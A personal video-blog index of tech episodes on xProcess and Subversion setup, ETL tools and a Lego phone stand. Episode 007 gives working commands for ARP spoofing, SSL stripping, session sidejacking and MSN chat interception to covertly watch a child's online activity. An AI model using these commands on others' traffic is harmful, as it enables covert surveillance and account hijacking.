The Grey Stuff
episode 007 – Hacking for Paranoid Parents
After a recent issue with the online activities of a junior member of the Burgin household, I take a look at what a less balanced and paranoid parent could do to snoop on their kids online. Firstly I need to get the tools so I install backtrack linux and start the following to enable the network and make it forward packets:
start-network
startx
echo 1 > /proc/sys/net/ipv4/ip_forward
Next we tell the gateway I’m juniorburgins pc (192.168.2.53) and juniorburgins pc I’m the gateway (192.168.2.1)
arpspoof -i eth0 -t 192.168.2.53 192.168.2.1
Then I setup up the firewall rules to allow web trafic to flow and start sslstrip to strip ssl encoding
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
sslstrip -p -k -f
Leave that running and in a new shell set ferret grabbing data from the network
/pentest/sniffers/hamster/ferret -i eth0
Next start a webserver that shows me what ferret has found
/pentest/sniffers/hamster/hamster
Set Firefox to use the proxy on port 1234 and then http://hamster/ and let the paranoia commence. Here I snoop on facebook and then sidejack twitter.
Now I resort to snooping on MSN using imspector:
wget http://www.imspector.org/downloads/imspector-0.9.tar.gz
tar -zxvf imspector-0.9.tar.gz
cd imspector-0.9
make
make install
Lets start it up…
iptables -t nat -A PREROUTING -p tcp –destination-port 1863 -j REDIRECT –to-ports 16667
imspector -d
Wait whilst theres some chater and checkout the contents of:
/var/log/imspector/MSN/
Now remember, prevention is better than cure so before you resort to all this teach the kids that staying safe on line is a serious business and it’s not just about what information you share, it’s also what you take – so beware of malware and take care of your pc.
episode 006 – Updating data using ETL tools
If I look at the definition of “grey areas” they sometimes include tasks that don’t really fit one role in a team. One such task is “here’s a spreadsheet with the stockists data for website X – can we upload these?”.
Now it may be that it’s a complete set of stockists data that matches the existing fields in the database with a stockistid key field which is consistent with what you have. In this case it’s a simple export, upload and test job.
Unfortunately, it isn’t always as simple as that. It might not be a full set of data and just be updates, chances are it’s been dumped from some CRM system and the field definitions/format might not match whats there already. This can be quite a time consuming task.
So in this episode rather than loading data into a database, searching and mapping rows I’m going to try some tools built for the job. I’m going to use 4 ETL (Extract Transform and Load) tools:
So armed with a dump of the northwind database supplier table I’m going to try 3 example updates – update contact info, update supplier address and add a new supplier.
Watch to find out how I got on.
episode 005 – Making a Lego iPhone stand
Something a little different this time, I’m going to make an iPhone stand so I can watch the footy in the kitchen whilst I’m getting the family Sunday lunch sorted.
To do that I’m going to use a Lego CAD application “Lego Digital Designer”.
Enjoy the video and download the instructions I made in the video.
episode 004 – Installing the xProcess Web Client
Continuing from episode 003, we’ll configure and install the xProcess web based client. Then we’ll look at how to use a shared Data Source in a new install fo the xProcess rich client. Next we’ll record some time in both and see how progress on a project is reviewed.
First we are going to need to grab and unpack the web client on our Centos server
cd
wget http://downloads.sourceforge.net/project/xprocess/xProcess/xProcess%20v3.3/xprocess-web-3.3.0.zip?use_mirror=kent
cd /share
mkdir xprocess-web
cd xprocess-web
unzip /root/xprocess-web-3.3.0.zip
Next we configure the web client
vi conf/web.properties
repository.url=http://localhost/svn/xprocess/Data_Source
repository.user=svnaccount
repository.password=password
local.dir=../../
license.path=../../conf/license.lic
logging.file.level=FINEST
logging.console.level=FINEST
scheduler.server=true
# For an explanation of the following property please see http://quartz.sourceforge.net/javadoc/org/quartz/CronTrigger.html?is-external=true
scheduler.server.cron=0 0 1 * * ?
license.manager.users.path=../../conf/users.xml
update.trigger.start=600000
update.trigger.repeat=600000
Tweak the acompanying copy of tomcat to work ont Centos
vi tomcat/bin/catalina.sh
#export JAVA_HOME=$CATALINA_HOME/jdk
#export JRE_HOME=$CATALINA_HOME/jdk
export JAVA_HOME=/usr
export JRE_HOME=/usr
Add our user accounts for xProcess
vi conf/users.xml
<?xml version=”1.0″ encoding=”UTF-8″?>
<xprocess>
<datasource url=”http://localhost/svn/xprocess/Data_Source”>
<role accountname=”svnaccount” perspective=”admin” />
<role accountname=”AndyBurgin” perspective=”admin” />
<role accountname=”DavidGedge” perspective=”participant” />
<role accountname=”TerryDeCastro” perspective=”participant” />
<role accountname=”KeithGregory” perspective=”participant” />
<role accountname=”DarrenBelk” perspective=”participant” />
<role accountname=”PeterSolowka” perspective=”participant” />
<role accountname=”SimonCleave” perspective=”participant” />
<role accountname=”SimonSmith” perspective=”participant” />
<role accountname=”GraemeRamsay” perspective=”participant” />
<role accountname=”JohnPeel” perspective=”participant” />
<role accountname=”SallyMurrell” perspective=”participant” />
</datasource>
</xprocess>
Next you’ll ned a web client licence from http://www.enhyper.com:8080/license/web and install it in conf/license.lic
Finally lets make sure the firewall is off (or preferably change the firewall config to allow access to the xProcess web client).
service iptables stop
And then lets launch tomcat
chmod u+x /share/xprocess-web/tomcat/bin/*
cd /share/xprocess-web/tomcat/bin
./startup.sh
Crank up your web browser and loin as me (AndyBurgin/password)
http://192.168.2.100:8081/xprocess
And that concludes our short series on xProcess. There are many things relating to some of the SCRUM features we haven’t covered, nor have we looked in any depth at reporting or financial asspects.
We may return to xProcess at a later date, but let’s try something a little more fun next time.
episode 003 – Setting up Subversion for xProcess
Following on from episode 002, lets now share the data with other xProcess rich clients. We are going to use a bog standard desktop install of Centos 5.4 and install subversion on it, then make it available via Apache webserver to other rich clients.
So first grab the latest release of Centos from http://www.centos.org/ and install. Once you have the OS upand running (idealy on a static ip address on your LAN) lets install sub version
yum install mod_dav_svn
Now lets configure it
cd /
mkdir share
chmod a+w share
cd share/
svnadmin create xprocess
chmod -R a+w xprocess/
Now add the accounts we need for our team to the password file
htpasswd -c /share/xprocesssvnpasswd AndyBurgin
htpasswd /share/xprocesssvnpasswd svnaccount
htpasswd /share/xprocesssvnpasswd DavidGedge
htpasswd /share/xprocesssvnpasswd TerryDeCastro
htpasswd /share/xprocesssvnpasswd KeithGregory
htpasswd /share/xprocesssvnpasswd DarrenBelk
htpasswd /share/xprocesssvnpasswd PeterSolowka
htpasswd /share/xprocesssvnpasswd SimonCleave
htpasswd /share/xprocesssvnpasswd SimonSmith
htpasswd /share/xprocesssvnpasswd GraemeRamsay
htpasswd /share/xprocesssvnpasswd JohnPeel
htpasswd /share/xprocesssvnpasswd SallyMurrell
And configure apache to share the subversion repository
cd /etc/httpd/conf.d/
vi subversion.conf<Location /svn/xprocess>
DAV svn
SVNPath /share/xprocess
SVNAutoversioning on
AuthType Basic
AuthName “xprocess Subversion Repository”
Require valid-user
AuthUserFile /share/xprocesssvnpasswd
</Location>service httpd restart
Check there is a server there
http://serverstaticipaddress/svn/xprocess
open the rich client and export the data to the repository…
Data Source -> share
http://serverstaticipaddress/svn/xprocess
Data_Source
AndyBurgin
password
For more insformation on configuring the software see http://httpd.apache.org/docs/2.0/ and http://svnbook.red-bean.com/
episode 002 – Multiple Projects in xProcess
In episode 001 we saw how to create roles, resources and tasks and see how xProcess allocates work between them. In this episode we are going to see how xProcess handles resources across multiple projects and tasks.
xProcess is based on aglie methods and techniques, were you typically have generic roles (e.g. “software developer”) and in theory anyone can pickup where someboy else in the team stopped. What I have been trying to do is use xProcess for specific roles and skill sets, which requires a little msssaging of xProcess.
We are trying to encourage xprocess to do what we want, with who we want, when we want.
episode 001 – Getting Started With xProcess
At last the first episode of my vblog is here in full 720p, just like I intended. It’s an introduction on how to get started using the project and process management tool xProcess.
Here I look at creating a project, some roles and resources. Then I create some tasks, set the dependencies and show how xprocess delegates the work.
To play along at home you’ll need:
- The latest stable version of xProcess – http://sourceforge.net/projects/xprocess/
- Java runtime – http://java.com/en/download/index.jsp
Some links of interest:
- xProcess info – http://www.openxprocess.com/
- Andy Carmichael’s blog – http://xprocess.blogspot.com/
In the next episode I’ll look at managing multiple projects with xProcess and a few of the gotchas. In episode 3 I’ll look at how to get a team using xProcess using svn and the web interface.